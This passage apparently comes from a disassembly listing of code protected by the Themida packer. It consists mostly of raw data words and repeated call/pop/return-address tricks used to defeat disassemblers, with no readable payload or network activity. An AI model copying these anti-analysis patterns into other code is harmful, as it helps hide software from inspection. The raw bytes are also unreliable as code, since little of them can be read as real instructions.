ecx retn sub_59075B endp ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- dec eax pop esi or [ebp+61209DDh], edi sub edx, edx mov di, ax loc_590779: ; CODE XREF: Themida_:00590783j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_590779 push 0 push edi call sub_590790 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590790 proc near ; CODE XREF: Themida_:00590788p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_590790 endp ; --------------------------------------------------------------------------- jnb short loc_590753 daa lodsb mov edi, [ebp+6121321h] jz loc_5907B6 mov [ebp+6120365h], ebx loc_5907B6: ; CODE XREF: Themida_:005907AAj or eax, 88h mov edi, [ebp+6120685h] mov edx, [ebp+61209A1h] push 0 push ebp call sub_5907D2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5907D2 proc near ; CODE XREF: Themida_:005907CAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5907D2 endp ; --------------------------------------------------------------------------- dw 0B2B2h dd 62D159C7h, 0C0DF8166h, 58D8B47h, 6A061205h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0E9C9C351h, 0Eh, 95788B1Bh, 0A6685C33h, 66D2FF42h, 8B50B64Dh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5BC35242h, 59C4A1D4h dd 0ED45A3A0h, 0A59D2B50h, 57061209h, 2081BD89h, 835B0612h dd 122121BDh, 840F0006h, 0B8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 54C35747h, 2DD59589h, 850F0612h dd 6, 2305BD0Bh, 0B80612h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E32BC350h dd 15F7BB66h, 4DB58D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 8F4A7BC3h, 21B58987h dd 0FF06122Ah, 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 852360F3h, 6121805h, 0C1BD0953h dd 5E061211h, 0C8806061h, 55B5236Eh, 6106121Ch, 1BD9BD83h dd 0F000612h, 3BE84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 6558A746h, 0BD83F841h dd 6121BD9h, 0AB840F01h, 29000003h, 1215259Dh, 0D9BD8306h dd 306121Bh, 362860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 3F6F46C3h, 6025B760h dd 5D14BE66h, 61A7CC80h, 0CE961h, 0CEEB0000h, 1C1EA7DCh dd 846FBDDh, 6A604FDDh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 8A42C355h, 0E6BC8467h dd 9C59D8Bh, 0BB660612h, 8C66BC6Ch, 52006AD9h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 5EED33D4h dd 23159D8Bh, 0E1800612h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C8D7B183h dd 8A0F90FEh, 0Ch, 6880Fh, 0B5890000h, 61221DDh, 840FC90Ah dd 140h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 60C35545h, 63CAF960h, 3EEF811Eh, 8B735FF6h, 12308D85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 8A615DDDh, 0F31248C4h, 5A3BB9Eh, 853320B9h dd 6123165h, 7E9h, 77F89B00h, 58E5BEDCh, 860F50h, 89000000h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 519006C3h, 46C0AAA9h, 950952B7h, 61221DDh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 383B2DC3h, 58922E4Ah, 8B17BF66h, 0AE40BE68h dd 5E98Ch, 0D96F0000h, 81667B1Bh, 0C3412404h, 49BB7370h dd 0FF77B185h, 12237995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89615BA8h dd 15C81285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 28637CD7h, 151CD69Ch, 8166FCBEh dd 89ACDFD7h, 12192585h, 10CE906h, 0F88B0000h, 0C80A858Bh dd 9D8B0615h, 6123475h, 1800C7h, 0BD230000h, 6120ED1h dd 0C80EB58Bh, 9D8B0615h, 6122365h, 0B127C381h, 858B28AFh dd 6122AB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 13C35141h, 68949A1h, 0FE951h, 0BC920000h, 0DB904F4h dd 58949DA6h, 9422F9C8h, 858B5F77h, 612308Dh, 4689DA8Bh dd 80BF5304h, 5F0FA678h, 3915BB50h, 34895816h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0DE013CAEh, 0DF806BA3h, 0B5FFFC69h, 615C80Ah, 0B468DF8Bh dd 815D62B5h, 0B64B2434h, 6A5D7Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 9010C8C3h, 0DFDE857Bh dd 0F381512Ah, 2767FCF5h, 0AED3805Bh, 0C812858Dh, 0BF0F0615h dd 26B390FEh, 9D8B9050h, 61200C5h, 237995FFh, 89520612h dd 12183DB5h, 0C7615F06h, 121BD985h, 306h, 1DBD8B00h, 83061203h dd 15C812BDh, 840F0006h, 2Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 72C35646h, 66A0AF99h, 20E9F88Bh dd 66000000h, 0FF73E381h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 66C08B00h, 6ADF8Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0D5E272C3h, 810FB09Eh dd 5, 96313BBFh, 0D9BD8300h, 306121Bh, 3BC850Fh, 0BD830000h dd 615C812h, 0AF840F00h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2A0FC351h dd 841BE467h, 0B5FFF820h, 615C812h, 1AA995FFh, 85890612h dd 612019Dh, 0C806B58Bh, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0F6058C3h, 0B866D1BFh dd 0F6147E2h, 0C8Ah, 7E900h, 9EDE0000h, 163C554Bh, 106C7C6h dd 8B000100h, 1221BD9Dh, 8B0F5006h, 3, 89FA8B66h, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BF6610C3h, 0B5FF9C4Eh, 615C812h, 19A5BD8Bh, 95FF0612h dd 6121C05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 34C35040h, 8B668F66h, 6B58BFAh, 6A0615C8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0C3BFC352h, 858BC2E6h, 61201A5h, 68D0Fh, 85890000h dd 61215DDh, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0C45F56C3h, 87D9D8Bh dd 958B0612h, 61209A1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 43C35040h, 86C5B89Ah, 41B6449h, 6840F60h dd 8B000000h, 120DD985h, 83F86106h, 295604C2h, 122A9D9Dh dd 50895B06h, 79BD8920h, 8B061215h, 1234A99Dh, 6F858D06h dd 6A0615DCh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0C9B1C352h, 5FDF793Eh, 664D96D7h dd 89D98B66h, 0B886h, 2DB58900h, 8B06121Ch, 66006AD9h dd 0B5FFFA8Bh, 615C812h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0E8C35747h, 66FAB024h, 7114D381h, 6E851h dd 0A50A0000h, 1C7EFA84h, 0EB5CC381h, 5B5B1081h, 6A595FFh dd 9D290612h, 61219C5h, 10E896h, 93290000h, 0B75A47Ah dd 699BB7Dh, 26EEF067h, 0D88B540Ah, 0BB66505Bh, 2396A2ACh dd 122ED5BDh, 12B5FF06h, 6A0615C8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 894AC355h dd 9D2B9549h, 6121421h dd 28195FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 83F1ACC3h, 122A09BDh, 840F0006h dd 36h, 1DD9529h, 89500612h, 6A2434h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 47BB93C3h dd 113B49Ah, 8B5747CBh, 121DB59Dh, 0B5FF5B06h, 615C812h dd 10E9h, 45A1B700h, 404A42B3h, 16E5B4D4h, 79D2987Dh, 0C195FFBBh dd 0BF061218h, 2257D4D8h, 0C812B5FFh, 6A0615h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 607B0DC3h, 0FFD98B66h, 121BA195h, 0DDBD8B06h, 8306122Dh dd 121EB1BDh, 840F0206h, 60h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 2DC35747h, 0BB8DD50Bh, 7CF37889h dd 3A5858Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 3693A5C3h, 18559FBEh, 8AEACF08h dd 519D8BDDh, 0C606122Dh, 0B5890000h, 6122045h, 1B5985C7h dd 612h, 8B0F0000h, 6, 189D9D0Bh, 0FEE90612h, 6AFFFFF3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0D165C351h, 78392856h, 80B49083h, 9E95AE3h dd 0C4000000h, 85FEB712h, 0A0D618A3h, 6AC18Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0F89CCAC3h, 8BB4727Eh, 99D8D29h, 858D0612h, 6122E01h dd 1579BD29h, 66500612h, 489D98Bh, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 160F0AA3h dd 6AE8A7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 74C35545h, 0DE8B6A73h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 18636CC3h dd 2F9F3896h, 820FDF8Bh, 15h, 10E9h, 9C1FC600h, 0B40BC63Fh dd 0D4ED4122h, 0AB009F03h, 85895158h, 6121CA9h, 6A858D5Bh dd 6A0616A9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 51D8C355h, 0B168CD21h, 0F50BC0Eh dd 0BB52FEBFh, 1207160Eh, 5C0835Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0F1C35545h, 0C5B7C345h, 8E95250h dd 4E000000h, 0F45940A5h, 5B3F5443h, 0F240489h, 382h, 4CC78000h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 5E6EB6C3h, 0B589513Ch, 61226DDh, 6AFB8Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A2C35242h dd 0AC48AEF3h, 89DA354Ch, 1223E18Dh, 95FFF906h, 6120DB5h dd 28D8DFCh, 0E80615AFh, 14h, 40177FC4h, 4F748EDBh, 75BDF2E8h dd 3A9AB52Ah, 0DFED5A6Eh, 5BFB8B66h, 0BD8BD1FFh, 6121129h dd 7ADBD83h, 0F010612h, 4F85h, 60026A00h, 0D19589F5h, 61061219h dd 10E850h, 87DA0000h, 0BA1AFAE8h, 0E837D3DCh, 0DFE28CCAh dd 89BFD94Eh, 5F3FB793h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FCEBC351h dd 95FF46B3h, 61206A5h, 0F28E9h, 0E800h, 815D0000h, 16A974EDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 7D9D09A5h, 8906121Dh, 12346DB5h, 37858D06h dd 29061594h, 1209758Dh, 0BE95006h, 99000000h, 2A10C2FBh dd 0AC91C282h, 48963C7h, 0BBBF6624h, 35FF6447h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5913EF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5913EF proc near ; CODE XREF: Themida_:005913E7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5913EF endp ; --------------------------------------------------------------------------- or al, 3Dh lodsd mov al, ds:1C437CB7h push eax mov di, 17BFh pop edi mov large fs:0, esp xor [ebp+6120E61h], esi inc dword ptr [ebp+6120679h] push 0FFFFFFFFh stc loc_591423: ; CODE XREF: Themida_:0059144Dj jnz loc_59142C mov di, bx loc_59142C: ; CODE XREF: Themida_:loc_591423j push dword ptr [ebp+6122D69h] push 0 push ecx call sub_59143D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59143D proc near ; CODE XREF: Themida_:00591435p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_59143D endp ; --------------------------------------------------------------------------- jbe short loc_591423 sar byte ptr [ebp-7A76EAEBh], cl sbb eax, 60061209h mov bl, dh popa call dword ptr [ebp+6122CB5h] jmp loc_591574 ; --------------------------------------------------------------------------- dd 0F00B0FCh, 68Eh, 0C5950900h, 8906122Ah, 12198185h, 0E870E606h dd 6, 3A705567h, 94BBF28Ch, 5F46ED20h, 12BF71E4h, 3C4039F8h dd 0D5830F61h, 60000000h, 51DA8B66h, 1DD99D8Bh, 61590612h dd 66C8B60Fh, 0BACC3ABBh, 6, 0DE8B5B51h, 0BD0BC18Bh, 612299Dh dd 2925BD8Bh, 0E8C10612h, 0DFB70F04h, 50E2F766h, 89C82B5Fh dd 12124D9Dh, 89D18B06h, 1229259Dh, 0CE906h, 0BD8B0000h dd 6120E9Dh, 0DFDBD89h, 858B0612h, 6120E01h, 810Fh, 0C0830000h dd 259D8B07h, 8906122Ah, 12038185h, 0C08306h, 18B1BD89h dd 0D03B0612h, 18830Fh, 4DE90000h, 0E9000000h, 0Eh, 0EFF0E32h dd 757FF2A2h, 0DF0B9FF4h, 8D8B8A31h, 612318Dh, 0BF66F98Bh dd 0E1837D61h, 25840F01h, 0F000000h, 0A583FEBFh, 612318Dh dd 0E59D0BFEh, 89061214h, 120E0195h, 0BABF6606h, 81BD8BD4h dd 0E9061234h, 0 ; --------------------------------------------------------------------------- loc_591574: ; CODE XREF: Themida_:00591463j lea esi, [ebp+61621F2h] push 0 push edx call sub_591585 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_591585 proc near ; CODE XREF: Themida_:0059157Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_591585 endp ; --------------------------------------------------------------------------- db 79h, 8Bh, 9Dh ; --------------------------------------------------------------------------- jnz short near ptr loc_59159C+3 adc al, [esi] loc_59159C: ; CODE XREF: Themida_:00591598j or [ebp+6122BC5h], edx push 0 push 0 push eax call sub_5915AF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5915AF proc near ; CODE XREF: Themida_:005915A7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5915AF endp ; --------------------------------------------------------------------------- db 61h dd 9E96Eh, 1DE10000h, 47D2C6A4h, 0FF00DDCBh, 1219CD95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 5B9B83B1h, 18B98D89h, 76B90612h, 89000007h dd 122D398Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0B6C35747h, 9ED381EBh, 0FC697245h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F2C35040h, 0B52A75BDh dd 5A6E3A9Ah, 463B6DBBh, 0B859h, 0EE90000h, 29000000h dd 0A0E49E61h, 0E25E7C44h, 0D9299189h, 69BD8BCDh, 2B06120Eh dd 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C9DCEDAh, 0C58D098Dh, 2B06122Ch, 121E69BDh dd 0C233AD06h, 0D003E8D1h, 7504E983h, 7E9F4h, 0B36A0000h dd 17227A79h, 56006A0Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 897E76DBh, 122F218Dh, 0ABBB6606h dd 880D77h, 80520000h, 8B5B0BD7h, 1209A195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 9262C634h, 290F90C4h, 120DBDBDh, 58D8B06h, 6A061205h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 7AD8C352h, 2730CBBh, 2D8D29F5h, 5006120Dh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 14E9DAh, 15DF0000h, 0C28017BFh, 0F442AD17h, 0A99F2272h dd 8B9B9378h, 6AC7F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 12E96FC3h, 49000000h, 9ECDA7A1h dd 0C9902E78h, 7FB769EFh, 40E49A0h, 21BD833Bh, 61221h dd 86840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 395FA1C3h, 8B2D5FF5h, 1209A59Dh dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0BDDEB3C3h, 813CE809h, 85DF30C3h dd 8DFE8B46h, 124DB58Dh, 0DD952906h, 0FF06122Dh, 50006AE1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 8077AC21h, 0DEBF0F62h, 1BD9BD83h, 0F000612h, 4E984h dd 85958900h, 8306122Ch, 121BD9BDh, 840F0106h, 4F1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 20C35747h, 3A095FF1h dd 8386277Bh, 121BD9BDh, 860F0306h, 48Bh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 9BC35141h, 892B95A0h dd 14E98608h, 9F000000h, 0B0AC8C1Ch, 0E01C5352h, 1B24A1B4h dd 466BBC4h, 60109FD3h, 128DBD31h, 8C660612h, 55006AD9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 18E57E75h, 9FC79878h, 8166D3E4h, 8BB6AEE3h, 122385BDh dd 4E18006h, 12E8h, 7CF47400h, 2A9B046Eh, 0FA71B77Bh, 0F2BAB8D9h dd 0F7BBC67h, 581h, 0CB816600h, 0A5F652Fh, 0B8840FC9h dd 0F000001h, 858BDBBFh, 612308Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 66C35141h, 80D96B36h, 8533FDC7h dd 6123165h, 1DF59D8Bh, 60900612h, 58585053h, 13E8h, 0A6C17A00h dd 0E0DB6259h, 0C731727Dh, 0C08A452Eh, 0CC1331E6h, 310F5250h dd 615B585Ah, 13E850h, 9B180000h, 35D87E9Eh, 9CF0A57Eh dd 12D7EB1Eh, 6846DB38h, 0DE9E0h, 0F5E80000h, 0CF417438h dd 0DD09F82Dh, 5B2FB9C6h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0FD71108Fh dd 8F0F12Bh, 0EB81FB57h, 512F6578h, 9D8B006Ah, 61212C1h dd 4E8h, 1F03FF00h, 0BB665000h, 448BA177h, 6E80424h, 2B000000h dd 0ACE899F5h, 12E96Ch, 0BC380000h, 0BBA835Ah, 93365EE8h dd 0B63307D9h, 54412BADh, 60008B5Fh, 11E860B5h, 0FE000000h dd 0EFA4240Ch, 7980345Ah, 796A9079h, 77BAD763h, 6159BBB1h dd 4244489h, 8E9h, 6DE5D500h, 0E2BDA13Fh, 958958A6h, 61220B5h dd 237995FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 77E76CC3h, 9D8BD1D5h, 6121FB5h dd 0C8128589h, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0E96977C3h, 13h, 0CE6E66B5h, 59BA19A9h dd 2872CA8Eh, 5ACF78F5h, 0F042F94h, 1781h, 0DE800h, 0B6DB0000h dd 736BC0E5h, 1ECA4233h, 66746C49h, 5B7694BFh, 19CE9h dd 1DB58900h, 8B061221h, 15C80A85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0AEC082F0h dd 60B7341Fh, 1A759529h, 0C70612h, 18h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0BCC35747h, 0EB58B51h dd 8B0615C8h, 120531BDh, 0B9858B06h, 6A06122Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 75F5C355h, 57EC68F2h, 0D14D63CFh, 858B0689h, 612308Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6AC35646h dd 241A043Fh, 5CB8DB5Ah, 9E851h, 2A730000h, 22C57A3h, 668F6AD6h dd 5BC577BFh, 558D895Fh, 0E906121Ch, 0Bh, 0BB1EAC72h, 84172320h dd 89D5E16Ch, 8E90446h, 0F8000000h, 3DD8F65Fh, 96E11F81h dd 6650DA8Bh, 966B8FBFh, 0C8816660h, 0FF6168ACh, 15C80AB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0E4A52A05h, 638F6821h, 78BF5B0Bh, 817C6082h dd 60702434h, 8B605B14h, 120C319Dh, 0C2BF0F06h, 12858D61h dd 890615C8h, 121B5195h, 0E8605006h, 0Fh, 0EC51BDF6h, 2BAFAAEEh dd 0CB71D67Bh, 0B75372D7h, 896159F9h, 8B662404h, 7995FFDEh dd 6A061223h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0D79FC351h, 0FBFEB5D6h, 6A61E9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 8768D3C3h, 111103C6h, 6042F217h, 0A2D8D03h, 0D1810612h dd 3B56D1EAh, 0D985C761h, 306121Bh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0E495C356h, 27A29551h, 0C812BD83h, 0F000615h, 2E84h dd 13E900h, 5ACB0000h, 1C9D9E58h, 65BDE20Ah, 1DFD5BD4h dd 0F5C62168h, 2CE9D6h, 9D890000h, 6122385h, 58B0Fh, 81660000h dd 50E74BEFh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 0E381C08Bh, 6872CE18h, 68F0Fh, 0BD890000h dd 61200C5h, 1BD9BD83h, 0F030612h, 4DB85h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0A5B52950h dd 6606121Eh, 0BD83FA8Bh, 615C812h, 0A9840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0B6F3C351h, 0C53CD26Dh, 56A5CE12h, 12B5FF5Bh dd 6A0615C8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 3A4FC357h, 0FFF266C1h, 121AA995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 17CB314Eh, 0FB93D83Ch, 15820Fh, 10E90000h dd 1E000000h, 0DB6B2868h, 0B56CB88Bh, 17E7CC4Ch, 8BB4C178h dd 15C806B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0C712D040h, 1000106h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0A5E6ECE9h, 8B6650A8h, 243489FBh, 0CE9h, 6DE89000h dd 5A8C8284h, 0C3AF073h, 12B5FF20h, 6A0615C8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 5111C352h, 0AE201038h, 0FC30B83Fh, 1FCD9589h, 9D8B0612h dd 61217D5h, 1C0595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 4096D0C3h, 363580A0h dd 8D31F1B8h, 6121075h, 0C806B58Bh, 9D010615h, 61204D5h dd 1A5858Bh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 7E8BE1C3h, 634DB1BBh, 0DE8B5060h dd 0C486895Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 30DCC356h, 958BB1F0h dd 61209A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0B1C35747h, 189F4B78h, 91C00B52h, 0F04C283h, 5089F8BFh dd 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 32849D96h, 880FE00Bh, 2, 858DF98Bh, 615DC6Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B4C35747h dd 8FEE8BF1h, 80EBF60h, 9589455Fh, 6122B19h, 0B8868961h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 598FC350h, 82346C09h, 8E95Ch dd 0D5CA0000h, 51331836h, 800F548Ah, 6, 1171BD8Bh, 6A0612h dd 0C812B5FFh, 810F0615h, 9, 38E0Fh, 8B660000h, 0B19D8BFEh dd 0FF061221h, 1206A595h, 0DA8B6606h, 0A775BF96h, 0E950017Fh dd 0Fh, 3EC3D722h, 2A080DB3h, 0E6DE3AEAh, 964B0A77h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EAC35141h, 6890Fh dd 9D330000h, 6121171h, 0B5FFF1B3h, 615C812h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h, 0A9859C0Dh dd 0FF964DC6h, 12028195h, 8830F06h, 0F000000h, 28Dh, 83D98B00h dd 122A09BDh, 840F0006h, 16h, 0BE9h, 9A799300h, 0CB3606B6h dd 0B45C3F72h, 8970B350h, 0B5FF2434h, 615C812h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 6C35343h, 0FFB07F47h dd 1218C195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 5AF8087Bh, 8B13DB80h, 1210CDBDh dd 12B5FF06h, 6A0615C8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FF4EC357h, 121BA195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0C348CBB4h, 7B6F82B9h, 6E81Ah, 0B0C30000h dd 0E1C3B043h, 13E8h, 64FD200h, 105587CDh, 0E3781947h dd 59BB3D3Ah, 0A54284ADh, 840Fh, 5F5B0000h, 6E8h, 5F469800h dd 5F6C39F4h, 1EB1BD83h, 0F020612h, 4584h, 0F7C38100h dd 8B388099h, 1203A585h, 9D8B6006h, 6121311h, 0CA1BD89h dd 0C6610612h, 8E80000h, 81000000h, 0E0FFA065h, 893A2D71h dd 1209CDBDh, 0E9515B06h, 0Dh, 553DC445h, 0DAB13CBEh, 70AC4C15h dd 85C75B4Bh, 6121B59h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_592263 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592263 proc near ; CODE XREF: Themida_:0059225Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_592263 endp ; --------------------------------------------------------------------------- db 16h dd 6617BA77h, 90B8E381h, 0FFF19FE9h, 91B589FFh, 8B061216h dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0D2330388h, 8AF927B2h, 1858DF8h, 5706122Eh dd 5FFFBF0Fh, 50AFB390h, 8B0Fh, 6A900000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 94C8C356h dd 0D88D2005h, 9D8BB75Ah, 